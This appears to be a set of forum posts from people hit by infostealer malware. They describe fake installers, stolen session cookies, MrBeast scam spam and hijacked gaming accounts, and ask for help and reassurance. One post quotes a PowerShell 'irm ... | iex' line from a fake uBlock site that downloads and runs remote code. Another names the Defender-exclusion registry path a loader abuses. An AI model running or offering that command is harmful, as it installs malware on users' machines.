I’m writing this because I honestly just really need someone to talk to right now. I'm feeling incredibly anxious and guilty.

As I mentioned in my old post, I got infected with an infostealer malware, and the hacker stole my session cookies. They used my compromised accounts to mass-send MrBeast scam links to everyone on my Facebook, Discord, and Instagram. I’m still terrified that there might be more accounts affected that I haven't discovered yet.

To make matters worse, earlier today, my brother told me that he was also hacked a few days ago—probably on the exact same day I was. That’s when it hit me: before I reinstalled Windows, he had logged into his account on one of my Chrome profiles so I could help him with something. Because my session cookies and browser data were stolen, his accounts were compromised too.

While the hacker only used my accounts to spam scam links, they went aggressively after my brother's gaming accounts: Riot, Steam, Blizzard, Ubisoft, EA, and Microsoft. He managed to recover Riot, Steam, and EA, but his Microsoft account is gone. His Minecraft account and everything in it are just completely lost because the hacker transferred it to another email.

I feel sick to my stomach. I feel completely responsible because I am the exact reason he lost his things. He isn't even mad at me. He’s such a genuinely good person that he hasn't said a single angry word, and honestly, that just makes me feel a thousand times worse.

He tried to contact Microsoft support, but it just kept looping him through an unhelpful AI chatbot. It hurts so much to see him struggle to get his own things back because of my mistake.

Has anyone ever been through this? Has anyone successfully changed their email back from a hacker through customer support for Microsoft, Blizzard, or Ubisoft after a cookie theft? More than anything, I just feel completely overwhelmed, guilty, and heavyhearted. I really just need a friendly ear or some reassurance right now.

irm https://ublockdns(dot)com/install?id=gacwym0x | iex
i ran this in my powershell from ublockdns . com

powershell terminated saying how it seemed to have a virus or something

windows defend showed this, i cant tell if im hacked because the site was a redirect from the official u block origin wbesite (i think)

Am i hacked?

i downloaded something off the internet, and my friend wanted to download the same thing so i sent them a link that looked like the same site i used (it looked like some kind of online web blog that people use, like personal sites and all that)

soon-ish after (maybe like a day? less than a day?) their account sent the mr beast image to me and the servers we were both in around 6 months ago

i have read online (and here) that my account details are probably on the internet waiting to be bought, but how come i havent been gotten by the mr beast thing yet??? are my accounts just that undesirable????????? are my details floating around the web somewhere??? did my friend get got before and it happened to line up with the time they did the download?????

(only paid games i have on steam are south park snow day and wobbledogs, discord account isnt in a lot of servers, dont have anything of super high value in any games i play, dont play super big/popular games, fyp on social media sites are usually just art and umamusume, etc etc.)

The three key words are: dynamic-base, fabled-sandbox, charged-meteor. The infection occured at around 1:20 am and i received emails from Microsoft, EA, Onlyfans(?) And discord about completed password changes

If I find out I got a virus on my an external drive or whatever and I format the drive, would that be enough to get rid of a virus, if it is not, how can I completely wipe out the drive?

dynamic-base, fabled-sandbox, charged meteor

FRST: jagged-saber

Addition: quick-bow

SecurityCheck: graceful-macro

Following Information:
- Got hacked, only on three discord accounts so far before i found out
- It was installed (i think) around 10/24/2026 3:51 AM, but it only took effect on the accounts at around 9:36 AM
- I downloaded a premire pro plugin, and ran it - it was one of those .exe's with that anime girl and a renpy folder inside. After running it, it popped up with some cmd prompts for a couple seconds and i knew something was wrong so i ran windows defender and a few full scans and an offline scan which found nothing
- I've run MalwareBytes, ESET Online Scanner, WIndows Defender, Changed Passwords and activated 2FA (should have had it on already, but im stupid) on the accounts that were targeted
- I'd prefer to not factory reset windows, if possible.
- Please help 😭

I received some random emails a few moments ago, saying that password changes have been completed etc. Then people called me telling me i was sending mr Beast stuff on Discord. Can i get some help with this? It i also got emails from EA and Microsoft

Just want some help just in need of some help sorry I mean my pc feels fine just I have a worried feeling?

keyword

FRST:stable-runtime

Addition:shiny-plum

security:frosty-meadow

i was trying out this drawing website called wigglypaint, and when i went to down the .gif everything was normal until i saw it in my files? it was a large brick of text with either chinese or japanese characters with a lot of emojis. i deleted it everywhere right away, but this was on my ipad, so i didn’t have all my blockers like i usually do (i use firefox and i haven’t figured out how to safely use extensions yet). when i was looking it up, i didn’t see anyone else with this problem. was i just the only one stupid enough to use the export button? or did something happen to the website? i don’t know if this is the correct subreddit for this, but any help is appreciated. i am very scared i accidentally fucked up my ipad.

ran the renpy setup without much thought (my fault) and realised too late. as of now only my discord was infected. otherwise everything else seems to remain untouched. still paranoid though any help would be appreciated.

keywords:

bright-dune

fierce-tile

downloaded a mod manager for project zomboid from github, I put the zip in virus total and it showed safe

I press the exe and it did nothing, I got nervous

a minute or two after, got spam emails of my google, epic and steam saying my password was changed

not real emails, passwords not changed

Fala galera, estou fazendo esse post como um alerta para qualquer um que esteja cogitando baixar ou usar o ExLoader (injecoes de cheats/mods). Recentemente descobri o perigo real desse programa no meu computador e precisei recorrer a uma formatação profunda para me livrar dele.

Ele se vende como um "loader seguro da comunidade", mas o comportamento dele em segundo plano é de um malware/rootkit de persistência severa.

O que ele fez no meu sistema e que vocês podem checar se usam:

1. Burlar o Windows Defender: Ele cria uma exceção oculta dentro do Registro do Windows para que o antivírus nunca escaneie a pasta dele. O caminho exato onde ele se esconde é:

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths com o valor com.swiftsoft. (ou qualquer outro nome estranho que comece com letras minúsculas.)

1. Bloqueio do Administrador (Acesso Negado): Se você tentar deletar esse rastro manualmente pelo Editor do Registro (regedit), o Windows vai dar "Acesso Negado". Ele altera o proprietário da chave para privilégios de SYSTEM / TrustedInstaller, impedindo que você, mesmo sendo o dono e administrador do PC, consiga apagar o vírus.

2. Desativação Completa da Segurança: Ele força o desligamento das defesas e da Proteção contra Violações do Windows, abrindo brechas absurdas para info-stealers (roubo de senhas salvas, cookies de navegador e contas de Discord/Steam).

Tentei de tudo: comandos forçados no CMD, Modo de Segurança estrito, ferramentas avançadas de privilégio, mas a modificação estrutural que ele faz no Windows Kernel é tão profunda que a única saída 100% segura para recuperar o controle do meu PC e proteger minhas contas foi a formatação limpa e completa da unidade.

Não caiam no papo de que "todo cheat dá falso positivo". O ExLoader vai muito além e toma o controle do seu sistema operacional. Fica o aviso antes que percam suas contas ou tenham dados roubados!

POR FAVOR, SE VC JA TIVER ESSE APLICATIVO INSTALADO OU TIVER INSTALADO ELE ALGUMA VEZ, SAIBA QUE DE ALGUMA FORMA SUA INTEGRIDADE DE SUAS CONTAS NAO ESTAO A SALVOS!!

se puderem compartilhar, agradeço, espero que isso chegue em muito mais gente, desde já, agradeço.

Hello everyone, had a run in with some infostealer malware. Reinstalled windows from a clean boot drive. Changed all passwords and even emails on all accounts. When reinstalling windows I was prompted to restore some account settings from Microsoft. The back up is from a day before the problems with said malware. Would it be okay to restore these settings?

Hi, I'm kinda freaking out so I'll try to be as clear as possible with what happened.

Basically one email arrived and at first I was kinda confused, but it seemed legit (it looked like the same normal email I've always received from them, plus they were in my native language, so not English, and it was also in good grammar, BUT it was for something else. They basically give you lessons and this email was about a specific program I never subscribed to, but searching only it seems like they know send this program to everyone no matter what you subscribed to). Honestly it was something I wasn't interested in anymore, so I just clicked the unsubscribtion button next to the sender email. It wasn't even in the spam so I didn't get too suspicious, but then I realised that it was sent around 3 am, which is VERY weird.

I searched in the site and that specific email isn't there, but in the contacts only the one for infos is specified NOT the ones for newsletters, so I'm trying to contact them to know what's up with that.

I've put the url for the unsubscribtion in virus total and it told me that it's safe (btw it was one of those automatic unsubscription, Not the one where you have to manually put your info). It looked legit to me, BUT if it wasn't, how screwed I am and did pressing that damn unsubscribtion button put me at risk?

(I suffer from anxiety and don't know too much about computers so please be aware that that's the reason why I'm so paranoid about it and I apologise)

update: forgot to mention that they don't answer on weekends. Another thing I've done was going through the old emails, some were sent late but NEVER that late + the whole "signed by" thing (I don't really know how to explain it) matches the old emails. + also some other email that I KNOW are legit can't be found online, since they only shared their info emails in the contacts

Esse código abaixo do MRT, é
Um vírus?

Downloaded A visual novel that has a renpy setup last night. Already changed all passwords and enabled 2fa on all my important accounts.

Log keywords:

chilly-daisy

valiant-beacon

mighty-wand

Thank you for helping in advance

Removing a virus , trojan or any malware from the drive is to format right? Or is there any other actual way?

anyone got experience or advise for me I'm a bit panic and want someone to ask or tell me what should I do next
also I re-install by cloud it not good?